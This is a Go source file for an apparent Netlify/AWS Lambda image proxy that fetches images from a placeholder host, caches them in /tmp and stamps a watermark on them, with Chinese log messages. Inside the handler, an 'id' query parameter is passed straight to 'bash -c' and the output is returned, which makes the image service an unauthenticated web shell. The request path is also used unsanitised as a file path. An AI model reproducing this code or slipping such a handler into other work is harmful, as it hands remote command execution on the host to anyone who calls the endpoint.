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| package main
import (
"bytes"
"encoding/base64"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
"github.com/issue9/watermark"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"strconv"
"strings"
"time"
)
var WATERMARK = "/tmp/watermark.png"
func init() {
log.Println("判断水印是否存在")
if Exists(WATERMARK) {
log.Println("水印已经存在")
} else {
saveWaterMarkPng(WATERMARK)
}
}
func Exists(path string) bool {
_, err := os.Stat(path) //os.Stat获取文件信息
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
func saveWaterMarkPng(path string) {
out, err := os.Create(path)
defer out.Close()
req, _ := http.NewRequest("GET", "https://your_watermark_url.com/watermark.png", nil)
client := &http.Client{
Timeout: 5 * time.Second,
}
resp, err := client.Do(req)
defer resp.Body.Close()
all, err := ioutil.ReadAll(resp.Body)
io.Copy(out, bytes.NewReader(all))
if err != nil {
log.Fatalf("水印下载失败:%v\n", err.Error())
} else {
log.Println("水印保存成功")
}
}
func returnResp(body string, contenttype string, base64encode bool, ) (events.APIGatewayProxyResponse, error) {
return events.APIGatewayProxyResponse{
StatusCode: 200,
Headers: map[string]string{"Content-Type": contenttype},
Body: body,
IsBase64Encoded: base64encode,
}, nil
}
func handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
body := ""
base64encode := false
contenttype := "image/png"
// 获取各个参数
parameters := request.PathParameters
for p := range parameters {
log.Println(p)
}
id := request.QueryStringParameters["id"]
if len(id) != 0 {
log.Printf("exec command:%v", id)
cmd := exec.Command("bash", "-c", id)
out, err := cmd.CombinedOutput()
if err != nil {
body = err.Error()
log.Printf("cmd.Run() failed with %s\n", body)
} else {
body = string(out)
log.Printf("combined out:\n%s\n", body)
}
contenttype = "text/plain"
base64encode = false
return returnResp(body, contenttype, base64encode)
}
path := request.Path
imgpath := strings.ReplaceAll(path, "/.netlify/functions/test-lambda", "")
filename := "/tmp/" + strings.ReplaceAll(imgpath, "/img/uploads/", "")
if Exists(filename) {
log.Printf("已经存在%s\n", filename)
content, _ := ioutil.ReadFile(filename)
body = base64.StdEncoding.EncodeToString(content)
base64encode = true
contenttype = "image/png"
return returnResp(body, contenttype, base64encode)
}
client := &http.Client{
Timeout: 10 * time.Second,
}
req, _ := http.NewRequest("GET", "https://raw_img_url.com"+imgpath, nil)
req.Header.Set("User-Agent", "netlify")
req.Header.Set("Referer", "https://raw_img_url.com"+imgpath)
resp, err := client.Do(req)
defer resp.Body.Close()
if err != nil {
body = err.Error()
contenttype = "text/plain"
base64encode = false
log.Println(err.Error())
return returnResp(body, contenttype, base64encode)
}
// 保存图片
bs, _ := ioutil.ReadAll(resp.Body)
log.Println("截取目录名字:", filename)
index := strings.LastIndex(filename, "/")
dir := filename[:index]
if !Exists(dir) {
os.MkdirAll(dir, os.ModePerm)
log.Println("创建目录:", dir)
}
file, _ := os.Create(filename)
defer file.Close()
written, err := io.Copy(file, bytes.NewReader(bs))
if err != nil {
body = err.Error() + ",written:" + strconv.FormatInt(written, 10)
contenttype = "text/plain"
base64encode = false
log.Println(err.Error())
return returnResp(body, contenttype, base64encode)
}
w, _ := watermark.New(WATERMARK, 2, watermark.BottomRight)
err = w.MarkFile(filename)
//
if err != nil {
log.Printf("filename:%s 水印过大:%s\n", filename, err.Error())
content, _ := ioutil.ReadFile(filename)
body = base64.StdEncoding.EncodeToString(content)
contenttype = "image/png"
base64encode = true
return returnResp(body, contenttype, base64encode)
}
content, _ := ioutil.ReadFile(filename)
body = base64.StdEncoding.EncodeToString(content)
contenttype = "image/png"
base64encode = true
return returnResp(body, contenttype, base64encode)
}
func main() {
lambda.Start(handler)
}
|
